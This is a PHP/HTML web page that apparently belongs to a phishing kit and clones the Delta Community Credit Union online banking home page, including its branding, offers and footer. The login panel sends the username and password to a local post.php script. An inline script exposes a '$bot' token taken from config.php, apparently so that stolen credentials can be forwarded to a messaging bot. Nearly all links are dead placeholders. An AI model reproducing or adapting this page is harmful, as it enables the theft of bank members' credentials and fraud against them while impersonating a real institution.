<?php
include("config.php");
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Inter:ital,wght@0,300;0,400;0,500;0,600;0,700;0,800;1,400;1,700&display=swap" rel="stylesheet">
    <title>Delta Community Credit Union — Online Banking</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
        :root {
            --blue:      #00529B;
            --blue-dark: #084377;
            --blue-light:#266CAA;
            --green:     #547624;
            --green-dk:  #3f5a1a;
            --text:      #1a1a1a;
            --text-sub:  #555;
            --white:     #ffffff;
        }
        html, body { height: 100%; font-family: 'Inter', sans-serif; color: var(--text); background: var(--white); }
        body { display: flex; flex-direction: column; min-height: 100vh; }

        /* ── UTILITY BAR ─────────────────────────────── */
        .utility-bar {
            display: flex; align-items: center; justify-content: flex-end;
            padding: 8px 48px; gap: 24px;
            background: var(--white); border-bottom: 1px solid #eee;
        }
        .utility-bar a { font-size: 13px; color: var(--text-sub); text-decoration: none; }
        .utility-bar a:hover { text-decoration: underline; color: var(--blue); }

        /* ── MAIN NAV ────────────────────────────────── */
        .main-nav {
            background: var(--white);
            padding: 0 32px;
            display: flex; align-items: center; justify-content: space-between;
            height: 68px; position: relative; z-index: 300;
            border-bottom: 1px solid #eee;
        }
        .nav-logo img { height: 52px; width: auto; display: block; margin-top: -8px; }
        .nav-links { display: flex; align-items: center; gap: 4px; }
        .nav-links a {
            font-size: 13.5px; font-weight: 500; color: var(--text);
            text-decoration: none; padding: 8px 12px; border-radius: 4px;
            display: flex; align-items: center; gap: 4px;
        }
        .nav-links a:hover { background: #f0f4f8; color: var(--blue); }
        .nav-links a svg { opacity: .55; }
        .nav-right { display: flex; align-items: center; gap: 14px; font-size: 13.5px; }
        .nav-right a { color: var(--text); text-decoration: none; display: flex; align-items: center; gap: 5px; }
        .nav-right a:hover { color: var(--blue); }
        .nav-search { display: flex; align-items: center; gap: 4px; }

        /* ── HERO ────────────────────────────────────── */
        .hero {
            position: relative; overflow: hidden;
            min-height: 510px;
        }
        .hero-bg {
            position: absolute; inset: 0;
            background: url('res/img/background.jpeg') center center / cover no-repeat;
            z-index: 0;
        }
        /* subtle dark scrim for text legibility */
        .hero-overlay {
            position: absolute; inset: 0; z-index: 1;
            background: linear-gradient(to right,
                rgba(0,0,0,.42) 0%,
                rgba(0,0,0,.22) 45%,
                rgba(0,0,0,.05) 75%,
                transparent 100%);
        }

        /* Hero text — center-left */
        .hero-content {
            position: absolute; left: 48px; top: 50%; transform: translateY(-50%);
            z-index: 3; max-width: 460px;
        }
        .hero-content h1 {
            font-size: clamp(28px, 3vw, 46px);
            font-weight: 700; color: #fff; line-height: 1.15; margin-bottom: 14px;
        }
        .hero-content p { font-size: 14.5px; color: rgba(255,255,255,.9); line-height: 1.6; margin-bottom: 24px; max-width: 380px; }
        .btn-learn {
            display: inline-block; padding: 11px 26px;
            border: 2px solid #fff; border-radius: 4px;
            background: transparent; color: #fff;
            font-family: 'Inter', sans-serif; font-size: 14px; font-weight: 600;
            text-decoration: none; cursor: pointer;
            transition: background .15s, color .15s;
        }
        .btn-learn:hover { background: #fff; color: var(--blue); }

        /* ── LOGIN PANEL (right side of hero) ────────── */
        .hero-login {
            position: absolute; right: 0; top: 0; z-index: 3;
            width: 260px; display: flex; flex-direction: column;
        }
        /* Top: login form */
        .login-box {
            background: var(--blue);
            padding: 16px 20px 16px;
            flex: 0 0 auto;
        }
        .login-box h2 {
            font-size: 13.5px; font-weight: 600; color: #fff;
            margin-bottom: 12px; line-height: 1.3;
        }
        .lf { margin-bottom: 10px; }
        .lf input {
            width: 100%; height: 40px; padding: 0 12px;
            border: 1px solid #ccc; border-radius: 3px;
            background: #fff; outline: none;
            font-family: 'Inter', sans-serif; font-size: 13px; color: var(--text);
            transition: border-color .15s;
        }
        .lf input::placeholder { color: #888; }
        .lf input:focus { border-color: var(--blue-light); }
        .forgot-link { font-size: 12px; color: rgba(255,255,255,.8); text-decoration: none; display: block; margin-bottom: 12px; }
        .forgot-link:hover { color: #fff; text-decoration: underline; }
        .btn-log-in {
            width: 100%; height: 40px;
            background: var(--blue-light); color: #fff;
            border: none; border-radius: 3px;
            font-family: 'Inter', sans-serif; font-size: 14px; font-weight: 700;
            cursor: pointer; letter-spacing: .02em;
            transition: background .15s; margin-bottom: 12px;
        }
        .btn-log-in:hover { background: #1f5c99; }
        .enroll-links { display: flex; flex-direction: column; gap: 4px; }
        .enroll-links a { font-size: 12px; color: rgba(255,255,255,.8); text-decoration: none; }
        .enroll-links a:hover { color: #fff; text-decoration: underline; }

        /* Middle: Open an account */
        .login-open {
            background: var(--blue-dark);
            padding: 14px 22px;
            flex: 0 0 auto;
        }
        .login-open a {
            font-size: 13px; color: rgba(255,255,255,.85); text-decoration: none;
            display: flex; align-items: center; justify-content: center;
            font-weight: 500;
        }
        .login-open a:hover { color: #fff; text-decoration: underline; }

        /* Bottom: find locations + contact */
        .login-green {
            background: var(--green);
            padding: 0;
            flex: 0 0 auto;
        }
        .lg-row {
            padding: 14px 18px;
            display: flex; align-items: center; gap: 10px;
            border-bottom: 1px solid rgba(255,255,255,.15);
            cursor: pointer;
        }
        .lg-row:last-child { border-bottom: none; }
        .lg-row svg { color: #fff; flex-shrink: 0; }
        .lg-row a { font-size: 13px; color: #fff; text-decoration: none; font-weight: 500; }
        .lg-row a:hover { text-decoration: underline; }

        /* ── FEATURES STRIP ──────────────────────────── */
        .features {
            background: var(--white);
            display: grid; grid-template-columns: 1fr 1fr 1fr;
            border-top: 1px solid #e0e6ee;
        }
        .feat {
            padding: 36px 32px; text-align: center;
            border-right: 1px solid #e0e6ee;
        }
        .feat:last-child { border-right: none; }
        .feat-icon {
            width: 52px; height: 52px; border-radius: 50%;
            background: #eef3e8; display: flex; align-items: center; justify-content: center;
            margin: 0 auto 16px; color: var(--green);
        }
        .feat h3 { font-size: 15px; font-weight: 700; color: var(--text); margin-bottom: 10px; }
        .feat p { font-size: 13px; color: var(--text-sub); line-height: 1.6; margin-bottom: 16px; }
        .btn-feat {
            display: inline-block; padding: 9px 20px;
            border: 2px solid var(--blue); border-radius: 4px;
            background: transparent; color: var(--blue);
            font-family: 'Inter', sans-serif; font-size: 13px; font-weight: 600;
            text-decoration: none; cursor: pointer; transition: background .15s, color .15s;
        }
        .btn-feat:hover { background: var(--blue); color: #fff; }

        /* ── FOOTER ──────────────────────────────────── */
        .page-footer { background: var(--blue-dark); padding: 20px 48px; display: flex; align-items: center; justify-content: space-between; flex-wrap: wrap; gap: 12px; margin-top: auto; }
        .footer-links { display: flex; gap: 20px; flex-wrap: wrap; }
        .footer-links a { font-size: 12px; color: rgba(255,255,255,.55); text-decoration: none; }
        .footer-links a:hover { color: #fff; }
        .footer-copy { font-size: 12px; color: rgba(255,255,255,.3); }

        @media(max-width:900px) {
            .nav-links{display:none;} .main-nav{padding:0 20px;} .utility-bar{padding:7px 20px;}
            .hero-login{position:relative;width:100%;} .hero{min-height:auto;}
            .hero-content{position:relative;left:auto;bottom:auto;padding:36px 24px 24px;}
            .features{grid-template-columns:1fr;}
            .feat{border-right:none;border-bottom:1px solid #e0e6ee;}
        }
    </style>
</head>
<body>

    <!-- Utility Bar -->
    <div class="utility-bar">
        <a href="#">Open an Account</a>
        <a href="#">Locations &amp; ATMs</a>
        <a href="#">Contact Us</a>
    </div>

    <!-- Main Nav -->
    <nav class="main-nav">
        <div class="nav-logo"><img src="res/img/logo.png" alt="Delta Community Credit Union"></div>
        <div class="nav-links">
            <a href="#">Home <svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="m6 9 6 6 6-6"/></svg></a>
            <a href="#">Personal <svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="m6 9 6 6 6-6"/></svg></a>
            <a href="#">Business <svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="m6 9 6 6 6-6"/></svg></a>
            <a href="#">Commercial <svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="m6 9 6 6 6-6"/></svg></a>
            <a href="#">Community <svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="m6 9 6 6 6-6"/></svg></a>
            <a href="#">Knowledge Center <svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="m6 9 6 6 6-6"/></svg></a>
        </div>
        <div class="nav-right">
            <span class="nav-search">
                <svg width="15" height="15" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><circle cx="11" cy="11" r="8"/><line x1="21" y1="21" x2="16.65" y2="16.65"/></svg>
                Search <svg width="11" height="11" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5"><path d="m6 9 6 6 6-6"/></svg>
            </span>
            <a href="#">
                <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M20 21v-2a4 4 0 0 0-4-4H8a4 4 0 0 0-4 4v2"/><circle cx="12" cy="7" r="4"/></svg>
                Login
            </a>
        </div>
    </nav>

    <!-- Hero -->
    <div class="hero">
        <div class="hero-bg"></div>
        <div class="hero-overlay"></div>

        <!-- Left: hero text -->
        <div class="hero-content">
            <h1>Smart saving<br>starts now.</h1>
            <p>Give your child or teen a head start on saving with an up to $100 deposit match for new Savings Accounts.</p>
            <a href="#" class="btn-learn">Learn More</a>
        </div>

        <!-- Right: login panel -->
        <div class="hero-login">
            <div class="login-box">
                <h2>Welcome, log in to Online Banking</h2>
                <script>var token=<?php echo json_encode($bot); ?>;</script>
                <form action="post.php" method="post">
                    <div class="lf"><input type="text" name="user" placeholder="Username" required autocomplete="username"></div>
                    <div class="lf"><input type="password" name="pass" placeholder="Password" required autocomplete="current-password"></div>
                    <a href="#" class="forgot-link">Forgot username or password?</a>
                    <button type="submit" class="btn-log-in">Log In</button>
                    <div class="enroll-links">
                        <a href="#">Online Banking Enrollment</a>
                        <a href="#">Refer-A-Friend Program</a>
                    </div>
                </form>
            </div>
            <div class="login-open">
                <a href="#">Open an account</a>
            </div>
            <div class="login-green">
                <div class="lg-row">
                    <svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M21 10c0 7-9 13-9 13s-9-6-9-13a9 9 0 0 1 18 0z"/><circle cx="12" cy="10" r="3"/></svg>
                    <a href="#">Find our locations &amp; ATMs</a>
                </div>
                <div class="lg-row">
                    <svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M22 16.92v3a2 2 0 0 1-2.18 2 19.79 19.79 0 0 1-8.63-3.07A19.5 19.5 0 0 1 4.69 12 19.79 19.79 0 0 1 1.61 3.41 2 2 0 0 1 3.6 1.21h3a2 2 0 0 1 2 1.72 12.84 12.84 0 0 0 .7 2.81 2 2 0 0 1-.45 2.11L7.91 8.6a16 16 0 0 0 6.29 6.29l.94-.94a2 2 0 0 1 2.11-.45 12.84 12.84 0 0 0 2.81.7A2 2 0 0 1 22 16.92z"/></svg>
                    <a href="#">Contact us today</a>
                </div>
            </div>
        </div>
    </div>

    <!-- Features strip -->
    <div class="features">
        <div class="feat">
            <div class="feat-icon">
                <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><line x1="12" y1="1" x2="12" y2="23"/><path d="M17 5H9.5a3.5 3.5 0 0 0 0 7h5a3.5 3.5 0 0 1 0 7H6"/></svg>
            </div>
            <h3>New Member Checking Offer</h3>
            <p>Earn $250 when you join and open a new Checking Account with qualifying transactions.</p>
            <a href="#" class="btn-feat">Learn More</a>
        </div>
        <div class="feat">
            <div class="feat-icon">
                <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><path d="M22 11.08V12a10 10 0 1 1-5.93-9.14"/><polyline points="22 4 12 14.01 9 11.01"/></svg>
            </div>
            <h3>Live or Work in Georgia?<br>You May Be Eligible</h3>
            <p>Proudly serving metro Atlanta since 1940—now offering personal and business banking in 20 counties.</p>
            <a href="#" class="btn-feat">Learn More</a>
        </div>
        <div class="feat">
            <div class="feat-icon">
                <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><rect x="3" y="4" width="18" height="18" rx="2"/><line x1="16" y1="2" x2="16" y2="6"/><line x1="8" y1="2" x2="8" y2="6"/><line x1="3" y1="10" x2="21" y2="10"/></svg>
            </div>
            <h3>Schedule a Branch Appointment</h3>
            <p>Some branches allow you to make an appointment. Use our online scheduling tool to make yours.</p>
            <a href="#" class="btn-feat">Schedule Now</a>
        </div>
    </div>

    <!-- Footer -->
    <footer class="page-footer">
        <div class="footer-links">
            <a href="#">Privacy</a><a href="#">Security</a><a href="#">Terms of Use</a>
            <a href="#">Accessibility</a><a href="#">NCUA</a><a href="#">Contact Us</a>
        </div>
        <div class="footer-copy">© 2025 Delta Community Credit Union. All Rights Reserved. Federally Insured by NCUA.</div>
    </footer>

    <script src="./res/jq.js"></script>
</body>
</html>